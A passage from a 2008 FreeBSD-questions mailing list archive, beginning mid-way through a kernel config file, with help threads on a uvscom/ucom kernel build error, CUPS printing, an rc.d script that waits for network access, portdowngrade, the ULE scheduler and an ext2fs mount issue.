Ethernet #device nfe # nVidia nForce MCP on-board Ethernet #device nge # NatSemi DP83820 gigabit Ethernet #device nve # nVidia nForce MCP on-board Ethernet Networking #device pcn # AMD Am79C97x PCI 10/100 (precedence over 'le') #device re # RealTek 8139C+/8169/8169S/8110S #device rl # RealTek 8129/8139 #device sf # Adaptec AIC-6915 (``Starfire'') #device sis # Silicon Integrated Systems SiS 900/SiS 7016 #device sk # SysKonnect SK-984x & SK-982x gigabit Ethernet #device ste # Sundance ST201 (D-Link DFE-550TX) #device stge # Sundance/Tamarack TC9021 gigabit Ethernet #device ti # Alteon Networks Tigon I/II gigabit Ethernet #device tl # Texas Instruments ThunderLAN #device tx # SMC EtherPower II (83c170 ``EPIC'') #device vge # VIA VT612x gigabit Ethernet #device vr # VIA Rhine, Rhine II #device wb # Winbond W89C840F #device xl # 3Com 3c90x (``Boomerang'', ``Cyclone'') # ISA Ethernet NICs. pccard NICs included. #device cs # Crystal Semiconductor CS89x0 NIC # 'device ed' requires 'device miibus' #device ed # NE[12]000, SMC Ultra, 3c503, DS8390 cards #device ex # Intel EtherExpress Pro/10 and Pro/10+ #device ep # Etherlink III based cards #device fe # Fujitsu MB8696x based cards #device ie # EtherExpress 8/16, 3C507, StarLAN 10 etc. #device sn # SMC's 9000 series of Ethernet chips #device xe # Xircom pccard Ethernet # Wireless NIC cards #device wlan # 802.11 support #device wlan_wep # 802.11 WEP support #device wlan_ccmp # 802.11 CCMP support #device wlan_tkip # 802.11 TKIP support #device wlan_amrr # AMRR transmit rate control algorithm #device wlan_scan_ap # 802.11 AP mode scanning #device wlan_scan_sta # 802.11 STA mode scanning #device an # Aironet 4500/4800 802.11 wireless NICs. #device ath # Atheros pci/cardbus NIC's #device ath_hal # Atheros HAL (Hardware Access Layer) #device ath_rate_sample # SampleRate tx rate control for ath #device awi # BayStack 660 and others #device ral # Ralink Technology RT2500 wireless NICs. #device wi # WaveLAN/Intersil/Symbol 802.11 wireless NICs. #device wl # Older non 802.11 Wavelan wireless NIC. # Pseudo devices. device loop # Network loopback device random # Entropy device device ether # Ethernet support device sl # Kernel SLIP #device ppp # Kernel PPP #device tun # Packet tunnel. device pty # Pseudo-ttys (telnet etc) #device md # Memory "disks" device gif # IPv6 and IPv4 tunneling device faith # IPv6-to-IPv4 relaying (translation) device firmware # firmware assist module # The `bpf' device enables the Berkeley Packet Filter. # Be aware of the administrative consequences of enabling this! # Note that 'bpf' is required for DHCP. device bpf # Berkeley packet filter # USB support device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface device ehci # EHCI PCI->USB interface (USB 2.0) device usb # USB Bus (required) #device udbp # USB Double Bulk Pipe devices device ugen # Generic #device uhid # "Human Interface Devices" device ukbd # Keyboard device ulpt # Printer device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse #device ural # Ralink Technology RT2500USB wireless NICs #device rum # Ralink Technology RT2501USB wireless NICs #device urio # Diamond Rio 500 MP3 player #device uscanner # Scanners # USB Serial devices #device ucom # Generic com ttys #device uark # Technologies ARK3116 based serial adapters #device ubsa # Belkin F5U103 and compatible serial adapters #device ubser # BWCT console serial adapters #device uftdi # For FTDI usb serial adapters #device uipaq # Some WinCE based devices #device uplcom # Prolific PL-2303 serial adapters #device uslcom # SI Labs CP2101/CP2102 serial adapters #device uvisor # Visor and Palm devices device uvscom # USB serial support for DDI pocket's PHS # USB Ethernet, requires miibus #device aue # ADMtek USB Ethernet #device axe # ASIX Electronics USB Ethernet #device cdce # Generic USB over Ethernet #device cue # CATC USB Ethernet #device kue # Kawasaki LSI USB Ethernet #device rue # RealTek RTL8150 USB Ethernet # FireWire support device firewire # FireWire bus code device sbp # SCSI over FireWire (Requires scbus and da) device fwe # Ethernet over FireWire (non-standard!) device fwip # IP over FireWire (RFC 2734,3146) #device dcons # Dumb console driver #device dcons_crom # Configuration ROM for dcons # Sound device sound device snd_ich From patfbsd at davenulle.org Fri Dec 5 17:32:00 2008 From: patfbsd at davenulle.org (Patrick =?ISO-8859-15?Q?Lamaizi=E8re?=) Date: Fri Dec 5 17:32:07 2008 Subject: custom kernel In-Reply-To: <4939D0FB.9090304@videotron.ca> References: <4939D0FB.9090304@videotron.ca> Message-ID: <20081206023157.349be0ea@baby-jane> Le Fri, 05 Dec 2008 20:10:19 -0500, PJ a ?crit : > linking kernel > uvscom.o (.text+0x293): In function 'uvscom_attach' ; > :undefined reference to 'ucom_attach' etc..... > *** Error code 1 > > did I do something wrong? system is still on and functioning but how > do I make the custom kernel? > > this is my kernel file: > #device ucom # Generic com ttys > device uvscom # USB serial support for DDI pocket's PHS The device uvscom needs ucom... Anyway you can use the GENERIC kernel and just kldload the necessary modules. Regards. From nightrecon at verizon.net Fri Dec 5 17:46:05 2008 From: nightrecon at verizon.net (Michael Powell) Date: Fri Dec 5 17:46:12 2008 Subject: custom kernel References: <4939D0FB.9090304@videotron.ca> Message-ID: PJ wrote: [snip] Read carefully: > uvscom.o (.text+0x293): In function 'uvscom_attach' ; > :undefined reference to 'ucom_attach' etc..... > *** Error code 1 See further down at bottom. > did I do something wrong? system is still on and functioning but how do > I make the custom kernel? The canonical first thing to do is to see if your system will build GENERIC. If it does not you have done something to the OS. If GENERIC builds OK and your custom kernel config will not, there is something broken with your config file. Remember to cd /usr/obj and rm -rf usr or make clean first. Always clean out the stale leftovers prior to build. > this is my kernel file: > > # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.7 2008/04/10 22:09:22 > rwatson Exp $ I'm at home and only have two GENERIC conf files to look at. RELENG_7: # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.15 2008/11/24 00:52:26 yongari Exp $ RELENG_7_0: # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.2.2.1 2008/02/06 03:24:28 scottl Exp $ > cpu I686_CPU > ident MYKERNEL > > # To statically compile in device wiring instead of /boot/device.hints > #hints "GENERIC.hints" # Default places to look for devices. [snip] > # USB Serial devices > #device ucom # Generic com ttys [snip] > device uvscom # USB serial support for DDI pocket's PHS [snip] Read the error message. It is failing to build uvscom because uvscom depends on #device ucom and you have ucom commented out. -Mike From af.gourmet at videotron.ca Fri Dec 5 18:22:03 2008 From: af.gourmet at videotron.ca (PJ) Date: Fri Dec 5 18:22:10 2008 Subject: custom kernel In-Reply-To: References: <4939D0FB.9090304@videotron.ca> Message-ID: <4939E1C9.8000701@videotron.ca> Michael Powell wrote: > PJ wrote: > > [snip] > > Read carefully: > >> uvscom.o (.text+0x293): In function 'uvscom_attach' ; >> :undefined reference to 'ucom_attach' etc..... >> *** Error code 1 > > See further down at bottom. > >> did I do something wrong? system is still on and functioning but how do >> I make the custom kernel? > > The canonical first thing to do is to see if your system will build GENERIC. > If it does not you have done something to the OS. If GENERIC builds OK > and your custom kernel config will not, there is something broken with your > config file. Remember to cd /usr/obj and rm -rf usr or make clean first. > Always clean out the stale leftovers prior to build. > >> this is my kernel file: >> >> # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.7 2008/04/10 22:09:22 >> rwatson Exp $ > > I'm at home and only have two GENERIC conf files to look at. > RELENG_7: > > # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.15 2008/11/24 00:52:26 yongari Exp $ > > RELENG_7_0: > > # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.2.2.1 2008/02/06 03:24:28 scottl Exp $ > > >> cpu I686_CPU >> ident MYKERNEL >> >> # To statically compile in device wiring instead of /boot/device.hints >> #hints "GENERIC.hints" # Default places to look for devices. > [snip] >> # USB Serial devices >> #device ucom # Generic com ttys > [snip] >> device uvscom # USB serial support for DDI pocket's PHS > [snip] > > Read the error message. It is failing to build uvscom because uvscom > depends on #device ucom and you have ucom commented out. > > > -Mike > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > Can't u;nderstand where this stuff came from... I normally had that stuff commented out. I even found the same error on the older, functional machine's kernel which had compiled correctly.... there was another error in that kernel at the very beginning - the SCHEDULE_4BSD was SCHEDULE_UNO or something like that.. but it was commented out...perhaps these glitches happened through some kind of accidental typos in vi.... Anywasy, I think that will fix things... thank you for the observations. Phil Jourdan From af300wsm at gmail.com Fri Dec 5 18:41:08 2008 From: af300wsm at gmail.com (af300wsm@gmail.com) Date: Fri Dec 5 18:41:30 2008 Subject: cups issue, unsupported format Message-ID: <00163646ccded2d12c045d57b9cd@google.com> Hi, I'm working on getting cups working and I've installed the "hplip" port and the cups program used that to install the printer. At least, there was an "HPLIP" in a list in one of the pages during the setup. My printer is an old HP LaserJet 4+ which I've connected through the parallel port. My URI for the printer is parallel:/dev/lp0. When I went to do the test page I got this error, "Unsupported format 'application/postscript'." Here's the problem, I chose a driver which, though I don't remember the full string in cups, was a 4/5 PCL driver. So, why is it trying to print using postscript? Andy From fbsd06 at mlists.homeunix.com Fri Dec 5 19:04:26 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Fri Dec 5 19:04:34 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205193550.E2916@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205083457.283d3deb@tau> <20081205193550.E2916@wojtek.tensor.gdynia.pl> Message-ID: <20081206030421.5bf4ceeb@gumby.homeunix.com> On Fri, 5 Dec 2008 19:36:45 +0100 (CET) Wojciech Puchar wrote: > > The userland win32 API might be rather unpleasant but I was > > surprised to learn to driver interface in the kernel is actually > > quite nice, and > > whatever ideas/solutions microsoft do it's f..ked up or stolen. > the stolen case is actually better :) They poached VMX developers from DEC and got sued over it IIRC. From what I've read it's supposed to be a pretty good hybrid kernel. From fbsd06 at mlists.homeunix.com Fri Dec 5 19:06:46 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Fri Dec 5 19:06:52 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <4939C33A.8070108@cordula.ws> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> <4939C33A.8070108@cordula.ws> Message-ID: <20081206025036.3ceba57b@gumby.homeunix.com> On Sat, 06 Dec 2008 01:11:38 +0100 cpghost wrote: > RW wrote: > > I have a similar issue with PPP not having connected by the time > > ntpdate runs , so I just have a script that runs between named and > > ntpdate, and blocks waiting for access. > > > Those timing / start-order issues are getting more and more > annoying, IMHO. On my PPPoE / mpd5 connected systems, > it's the same problem: > * openntpd (from ports) can't start, because named is not ready > * pf can't parse /etc/pf.conf because the ng0 interface is not yet > there etc, etc, etc... > > Isn't there a generic way to delay some scripts from starting > until a specific subset is ready (say: networking fully up, > and named ready to reply)? Perhaps some keyword or class > to add to a startup script would be nice to have! I don't think there's a generic solution, but I've pasted my own script below, I think if you set "networkwait_ping_hosts" to a name, rather than IP addresses, it might solve both your problems. You'll be polling on dns, and then resyncing the pf rules. $ cat /usr/local/etc/rc.d/networkwait #!/bin/sh # # PROVIDE: networkwait # REQUIRE: named # BEFORE: ntpdate . /etc/rc.subr networkwait_enable=${networkwait_enable:-"NO"} name="networkwait" rcvar=`set_rcvar` stop_cmd=":" start_cmd="networkwait_start" networkwait_start(){ if [ "$networkwait_ping_hosts" ] ; then host_list="${networkwait_ping_hosts}" else # No hosts supplied - use external nameservers host_list=`awk '/^ *nameserver/ {print $2} '< /etc/resolv.conf | grep -E -v '^127\.0+\.0+\.0*1'` fi echo -n "Waiting for network access ... " while true ; do for inet_host in $host_list ; do if ping -nc1 $inet_host 2>&1 > /dev/null ; then echo "ping to ${inet_host} succeeded." # Re-Sync ipfilter and pf in case # they had failed DNS lookups /etc/rc.d/ipfilter resync /etc/rc.d/pf resync exit 0 fi done sleep 5 done } load_rc_config ${name} run_rc_command "$1" From yuri at rawbw.com Fri Dec 5 19:23:50 2008 From: yuri at rawbw.com (Yuri) Date: Fri Dec 5 19:23:58 2008 Subject: "Sticky" mouse pointer on machine with high load Message-ID: <4939F044.8090507@rawbw.com> Often when my machine has load is 2 or higher it becomes very visible that mouse motion isn't smooth. Mouse moves in a series of quite long jumps. I believe this effect is especially pronounced when some applications read/write a lot of files. My understanding is that this is because signal from mouse gets stuck in the fifo somewhere and not processed by x-server in time. Is there any solution to this problem? I never saw such problem on Windows though I didn't touch Windows PC for many years now. Yuri From fbsd06 at mlists.homeunix.com Fri Dec 5 19:36:34 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Fri Dec 5 19:36:41 2008 Subject: what is umtxn In-Reply-To: <871vwmv3er.fsf@kobe.laptop> References: <20081205193446.B2902@wojtek.tensor.gdynia.pl> <871vwmv3er.fsf@kobe.laptop> Message-ID: <20081206033629.723f6829@gumby.homeunix.com> On Fri, 05 Dec 2008 21:16:12 +0200 Giorgos Keramidas wrote: > On Fri, 5 Dec 2008 19:35:34 +0100 (CET), Wojciech Puchar > wrote: > > i've got once my asterisk process in umtxn state (as top shows) > > using 100% CPU. > > > > it was still answering calls. > > > > what's umtxn exactly? > > A kernel lock operation. ``procstat -k PID'' may show more details > about the in-kernel stack of the process that spins on the lock. > What's procstat? find isn't finding it, neither is "make search" in ports. From bruce at cran.org.uk Fri Dec 5 21:28:18 2008 From: bruce at cran.org.uk (Bruce Cran) Date: Fri Dec 5 21:28:25 2008 Subject: what is umtxn In-Reply-To: <20081206033629.723f6829@gumby.homeunix.com> References: <20081205193446.B2902@wojtek.tensor.gdynia.pl> <871vwmv3er.fsf@kobe.laptop> <20081206033629.723f6829@gumby.homeunix.com> Message-ID: <20081206052817.GA18227@muon.cran.org.uk> On Sat, Dec 06, 2008 at 03:36:29AM +0000, RW wrote: > What's procstat? find isn't finding it, neither is "make search" in > ports. It's a new utility that was introduced into -CURRENT in the past year and seems to have been MFC'd at least to 7.x. It should be in /usr/bin -- Bruce Cran From sonic2000gr at gmail.com Fri Dec 5 23:17:37 2008 From: sonic2000gr at gmail.com (Manolis Kiagias) Date: Fri Dec 5 23:17:44 2008 Subject: custom kernel In-Reply-To: <4939E1C9.8000701@videotron.ca> References: <4939D0FB.9090304@videotron.ca> <4939E1C9.8000701@videotron.ca> Message-ID: <493A270B.8040608@gmail.com> PJ wrote: > Michael Powell wrote: >> PJ wrote: >> >> [snip] >> >> Read carefully: >> >>> uvscom.o (.text+0x293): In function 'uvscom_attach' ; >>> :undefined reference to 'ucom_attach' etc..... >>> *** Error code 1 >> >> See further down at bottom. >> >>> did I do something wrong? system is still on and functioning but how do >>> I make the custom kernel? >> >> The canonical first thing to do is to see if your system will build >> GENERIC. >> If it does not you have done something to the OS. If GENERIC builds OK >> and your custom kernel config will not, there is something broken >> with your >> config file. Remember to cd /usr/obj and rm -rf usr or make clean >> first. Always clean out the stale leftovers prior to build. >> >>> this is my kernel file: >>> >>> # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.7 2008/04/10 22:09:22 >>> rwatson Exp $ >> >> I'm at home and only have two GENERIC conf files to look at. >> RELENG_7: >> >> # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.15 2008/11/24 >> 00:52:26 yongari Exp $ >> >> RELENG_7_0: >> >> # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.2.2.1 2008/02/06 >> 03:24:28 scottl Exp $ >> >> >>> cpu I686_CPU >>> ident MYKERNEL >>> >>> # To statically compile in device wiring instead of /boot/device.hints >>> #hints "GENERIC.hints" # Default places to look for >>> devices. >> [snip] >>> # USB Serial devices >>> #device ucom # Generic com ttys >> [snip] >>> device uvscom # USB serial support for DDI pocket's PHS >> [snip] >> >> Read the error message. It is failing to build uvscom because uvscom >> depends on #device ucom and you have ucom commented out. >> >> -Mike >> >> >> >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" >> > > Can't u;nderstand where this stuff came from... I normally had that > stuff commented out. I even found the same error on the older, > functional machine's kernel which had compiled correctly.... there was > another error in that kernel at the very beginning - the SCHEDULE_4BSD > was SCHEDULE_UNO or something like that.. but it was commented > out...perhaps these glitches happened through some kind of accidental > typos in vi.... > > Anywasy, I think that will fix things... thank you for the observations. > Phil Jourdan Also, to avoid the next frustration: Either comment out options SCTP or, put back in: options INET6 or it will stop again :) Just a quick observation from reading your configuration file. From ben at b1c1l1.com Fri Dec 5 23:35:47 2008 From: ben at b1c1l1.com (Benjamin Lee) Date: Fri Dec 5 23:35:54 2008 Subject: Downgrading Ports In-Reply-To: <028901c955fe$9b7833d0$d2689b70$@za.net> References: <025d01c955f2$4856e270$d904a750$@za.net> <4937AC23.1030203@b1c1l1.com> <028901c955fe$9b7833d0$d2689b70$@za.net> Message-ID: <493A2B45.6000206@b1c1l1.com> On 12/04/08 02:53, Marcel Grandemange wrote: >> Good Day Guys. >> >> Im wondering how can one downgrade ports? >> And I don't mean installed ports (portdowngrade) , I mean the actual >> ports system. >> >> I have found the freeradius2 port to be broken and can't install it >> therefore I would like to downgrade ports to try install an older version. >> >> >> Any advise? > >> See portdowngrade(1) -- it doesn't do what you think it does. Use it to > fetch an earlier version of the port and then reinstall it however you wish, > e.g. using portupgrade(1). > > > [root@devvm /usr/ports/net/freeradius2]# portdowngrade freeradius2 > > portdowngrade 0.6 by Heiner Eichmann > Please note, that nothing is changed in the ports tree > unless it is explicitly permitted in step 6! > > Seeking port freeradius2 ... not found > [root@devvm /usr/ports/net/freeradius2]# ls > Makefile distinfo files pkg-descr pkg-plist > work > > I have used portdowngrade successfully on ports already installed, but > doesn't work on a port not installed yet. > Am I doing something wrong? > The port name is 'freeradius' (without the trailing 2): $ sudo portdowngrade freeradius portdowngrade 0.6 by Heiner Eichmann Please note, that nothing is changed in the ports tree unless it is explicitly permitted in step 6! Seeking port freeradius ... Found several matches: 1: net/freeradius 2: net/freeradius-mysql 3: net/freeradius2 Please choose one: -- Benjamin Lee http://www.b1c1l1.com/ -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 898 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081206/4e13eb37/signature.pgp From perryh at pluto.rain.com Fri Dec 5 23:36:57 2008 From: perryh at pluto.rain.com (perryh@pluto.rain.com) Date: Fri Dec 5 23:37:11 2008 Subject: UFS partitioning In-Reply-To: <20081205160249.GA5954@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> <20081205160249.GA5954@gizmo.acns.msu.edu> Message-ID: <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> > Dangerous is probably overstating the issue a bit ... AFAIK the "danger" is that someone boots the machine with an installer for some other OS, and that installer treats the disk as unformatted -- hence "obviously" containing nothing important -- because it doesn't have a recognizable MBR. From perryh at pluto.rain.com Fri Dec 5 23:36:57 2008 From: perryh at pluto.rain.com (perryh@pluto.rain.com) Date: Fri Dec 5 23:37:13 2008 Subject: QT4.5 packages In-Reply-To: <4939CABB.7050702@maydias.com> References: <4939CABB.7050702@maydias.com> Message-ID: <493a2ae3.QQ6M6FrL1JDBOeHu%perryh@pluto.rain.com> Warren Liddell wrote: > Does anyone have or know of where to download the pkg files > for the various Qt4.5 ports as using pkg_add is the only way > im able to add them atm. You can find many packages for several releases under ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386 From shinjii at maydias.com Sat Dec 6 00:10:24 2008 From: shinjii at maydias.com (Warren Liddell) Date: Sat Dec 6 00:10:31 2008 Subject: QT4.5 packages In-Reply-To: <493a2ae3.QQ6M6FrL1JDBOeHu%perryh@pluto.rain.com> References: <4939CABB.7050702@maydias.com> <493a2ae3.QQ6M6FrL1JDBOeHu%perryh@pluto.rain.com> Message-ID: <493A3379.5000003@maydias.com> You can find many packages for several releases under > ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386 > _______________________________________________ > Yeah that was the first palced i checked, but there is only 4.4.1 and at the least i need 4.4.2, but a lot of things im now running require 4.5 an being as i can build them i goto add them from pkg .. im running AMD64 FreeBSD 7.1-PreRelease KDE 4.1.3 From wojtek at wojtek.tensor.gdynia.pl Sat Dec 6 00:16:11 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sat Dec 6 00:16:18 2008 Subject: UFS partitioning In-Reply-To: <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> <20081205160249.GA5954@gizmo.acns.msu.edu> <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> Message-ID: <20081206091545.P33365@wojtek.tensor.gdynia.pl> > > AFAIK the "danger" is that someone boots the machine with an > installer for some other OS, and that installer treats the > disk as unformatted -- hence "obviously" containing nothing > important -- because it doesn't have a recognizable MBR. some people rarely boot other OS :) From frank at shute.org.uk Sat Dec 6 00:57:55 2008 From: frank at shute.org.uk (Frank Shute) Date: Sat Dec 6 00:58:03 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: References: <20081202160822.GB2158@ozzmosis.com> Message-ID: <20081206085746.GB54798@melon.esperance-linux.co.uk> On Tue, Dec 02, 2008 at 10:43:39AM -0600, Javier Vasquez wrote: > > On 12/2/08, andrew clarke wrote: > > On Tue 2008-12-02 00:41:58 UTC-0600, Javier Vasquez (jevv.cr@gmail.com) > > wrote: > > > >> I was reading chapter 4 of the handbook, as well as chapters 24 and > >> 26... If I got it clear, I pretty much might get the base system > >> updated by using freebsd-update script. Ports collection can get > >> updated with portsnap, but that doesn't update neither the intalled > >> ports, nor the installed packages. To upgrade the installed ports, > >> portmanager or portmaster or portupgrade can be used... However only > >> portupgrade can be used to upgrade packages, right? > >> > >> Now, can something like "portupgrade -a -PP" to upgrade all packages > >> without building a thing (might be that some don't get updated due to > >> the lack of binary package yet, and in such case would dependencies be > >> managed right)? > > > > Right. > > > >> More into how things work, as ports and pacakages are not part of the > >> base systems, are they somehow associated to a particular release > >> (most probably not)? So that pretty much no matter the release, if > >> packages and ports are kept up to date, they might be the same for all > >> releases? > > > > There are downloadable packages that are regularly built from the > > latest ports tree. There are different packages available for > > different releases though (eg. 6.x vs 7.x, i386 vs amd64). > > > > The theory goes that you can use i386 packages built for (for example) > > 6.4 on a 6.3 system. Possibly all the way back to 6.0. If you're > > relying on prebuilt packages then ideally you should try to keep the > > base system updated where possible. > > > >> I'm asking these questions since I'm evaluating moving to BSD, but I > >> want to avoid compiling as much as possible since my box is 800MHz > >> piii celeron with just 32KB of cache and 512MB of ram, and for it > >> source based distributions have proven to be too much to handle, so my > >> intention would be to live with binary packages and updates/upgrades > >> only... > > > > Those specs should be fine if you're building "small" software such as > > Squid, Apache, Samba, etc. I build everything I need (http server + > > http cache + mail server + spam filter + more) from source using a 1 > > GHz Pentium III with 256 Mb (using portmaster). > > > > Firefox, GNOME or KDE would take a long time with 800 MHz. But I > > wouldn't really like to run those big apps at only 800 MHz either. > > > > There's no reason why you can't install the larger software from > > packages then just build the smaller stuff from source. With > > portupgrade -PP you're still going to have to keep your ports tree > > updated (I use portsnap) so it's not a lot of extra effort to build > > from source. > > Actually I don't run desktop managers, just plain fluxbox over X. And > I use X mostly to browse the web. But any ways, I've run source based > linux distributions in the past, and although it's fun, my box takes > too much time to keep up with the rolling changes. So I've learned > it's better to keep updating through binaries in this good old > boxes... I think you'll find that keeping relatively up-to-date on FreeBSD using ports is fairly easy, even on a lowish powered machine especially since you don't use the big desktop environments. Install portaudit so that you only upgrade when there is a security problem (or a must have feature). The bigger stuff like Firefox you can run at night. You will also find that FreeBSD is quite good at multitasking and that whilst building ports it's perfectly possible to get on with your work in comfort. More so than Linux. > > >> Also if remaining under -STABLE, is all this possible? Kind of > >> understood that openoffice.org can't be installed with "pkg_add -r", > >> so most probably if living under -STABLE automatic updates for > >> openoffice.org won't show up... So this kinds of answers one previous > >> question about the packages been independent from the base system > >> release, it looks like they aren't... > > > > Not too sure what you're asking here, and I've never used -STABLE. > > Keep in mind though that you can't use freebsd-update if you're using > > -STABLE (AFAIK). > > Ups, I didn't know that... so freebsd-update only works on > -RELEASE's. I'm not sure that was explicit in the documentation, good > to know, :) > > So the only way to live in -STABLE up to date is to keep the base > system up to date through compilation... Yep, but I only track STABLE when it's got some fix for some hardware/software that I must have, otherwise I track RELEASES & then you can use freebsd-update. BTW, I just retired a 300MHz Celeron that I used a combination of packages & ports (but mainly ports). My new laptop, I just use ports. I find ports less troublesome than packages. > > Thanks, > > -- > Javier Regards, -- Frank Contact info: http://www.shute.org.uk/misc/contact.html From nightrecon at verizon.net Sat Dec 6 02:42:54 2008 From: nightrecon at verizon.net (Michael Powell) Date: Sat Dec 6 02:43:02 2008 Subject: custom kernel References: <4939D0FB.9090304@videotron.ca> <4939E1C9.8000701@videotron.ca> Message-ID: PJ wrote: [snip] > >.... there was > another error in that kernel at the very beginning - the SCHEDULE_4BSD > was SCHEDULE_UNO or something like that.. but it was commented > out...perhaps these glitches happened through some kind of accidental > typos in vi.... > [snip] SCHED_4BSD is being replaced by SCHED_ULE. IIRC it will be the new default beginning with 7.1-Release, which is coming 'real soon now'. You may want to give it a try. -Mike From nightrecon at verizon.net Sat Dec 6 03:03:44 2008 From: nightrecon at verizon.net (Michael Powell) Date: Sat Dec 6 03:03:51 2008 Subject: cups issue, unsupported format References: <00163646ccded2d12c045d57b9cd@google.com> Message-ID: af300wsm@gmail.com wrote: > Hi, > > I'm working on getting cups working and I've installed the "hplip" port > and the cups program used that to install the printer. At least, there was > an "HPLIP" in a list in one of the pages during the setup. My printer is > an old HP LaserJet 4+ which I've connected through the parallel port. My > URI for the printer is parallel:/dev/lp0. When I went to do the test page > I got this error, "Unsupported format 'application/postscript'." Here's > the problem, I chose a driver which, though I don't remember the full > string in cups, was a 4/5 PCL driver. So, why is it trying to print using > postscript? > It's been a while since I've done a virgin cups install so I'm not real current on what it might be like now. You start out with installing the /usr/ports/print/cups metaport and this should pull in a few other sub ports as dependencies. The port cups-pstoraster is what coverts postscript print output into PCL, utilizing (IIRC) one of the ghostscript ports. Perhaps your install may be incomplete. In the past I've just installed the metaport and it happily sucked everything else in automagically. -Mike From danielby at slightlystrange.org Sat Dec 6 04:27:21 2008 From: danielby at slightlystrange.org (Daniel Bye) Date: Sat Dec 6 04:27:28 2008 Subject: "Sticky" mouse pointer on machine with high load In-Reply-To: <4939F044.8090507@rawbw.com> References: <4939F044.8090507@rawbw.com> Message-ID: <20081206122711.GF19575@torus.slightlystrange.org> On Fri, Dec 05, 2008 at 07:23:48PM -0800, Yuri wrote: > Often when my machine has load is 2 or higher it becomes very visible > that mouse motion isn't smooth. Mouse moves in a series of quite long jumps. > I believe this effect is especially pronounced when some applications > read/write a lot of files. > > My understanding is that this is because signal from mouse gets stuck in > the fifo somewhere and not processed by x-server in time. > > Is there any solution to this problem? Not guaranteed, but it has worked for several people in the past - try rebuilding your kernel with the SCHED_ULE scheduler, instead of the SCHED_BSD4 scheduler. Although ostensibly its benefits are more obvious on multi-processor machines, it does often seem to fix this mouse lag issue that comes up from time to time. It has been discussed on the list several times, so you might find some interesting further reading if you search the archives. Dan -- Daniel Bye _ ASCII ribbon campaign ( ) - against HTML, vCards and X - proprietary attachments in e-mail / \ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081206/dcba1ad6/attachment.pgp From lhecking at users.sourceforge.net Sat Dec 6 05:25:34 2008 From: lhecking at users.sourceforge.net (lhecking@users.sourceforge.net) Date: Sat Dec 6 05:25:42 2008 Subject: Disappearing mount point Message-ID: <20081206131320.4BE834E625@cork.irdesign.cypress.com> I have a really weird problem. After changing the mount point of a Linux ext3 fs to a different device, the mount point disappears after mounting and is inaccessible. Disk layout: ad4s1 Linux ext3 ad4s2 FreeBSD ad4s3 Linux ext3 ad4s4 ext ad4s5 Linux swap ad4s6 Linux ext3 ad4s7 Linux ext3 ad4s8 Linux ext3 Mounting ad4s7 under FreeBSD as /dev/ad4s7 /gentoo-portage ext2fs rw 0 0 Then I moved this data to ad4s8 and changed the fstab entry accordingly: /dev/ad4s8 /gentoo-portage ext2fs rw 0 0 And this happens: [root@jeanie ~]# cd / [root@jeanie /]# ls .cshrc cdrom etc mnt tmp .profile compat gentoo-portage proc usr .snap dev home rescue var COPYRIGHT dist lib root bin distfiles libexec sbin boot entropy media sys [root@jeanie /]# mount /gentoo-portage [root@jeanie /]# df Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad4s2a 1012974 345748 586190 37% / devfs 1 1 0 100% /dev /dev/ad4s2f 1010964 22324 907764 2% /home /dev/ad4s2d 4058062 38 3733380 0% /tmp /dev/ad4s2e 20308398 6763976 11919752 36% /usr procfs 4 4 0 100% /proc linprocfs 4 4 0 100% /usr/compat/linux/proc /dev/ad4s8 9929540 4505212 4923908 48% /gentoo-portage [root@jeanie /]# ls ls: gentoo-portage: Bad file descriptor .cshrc 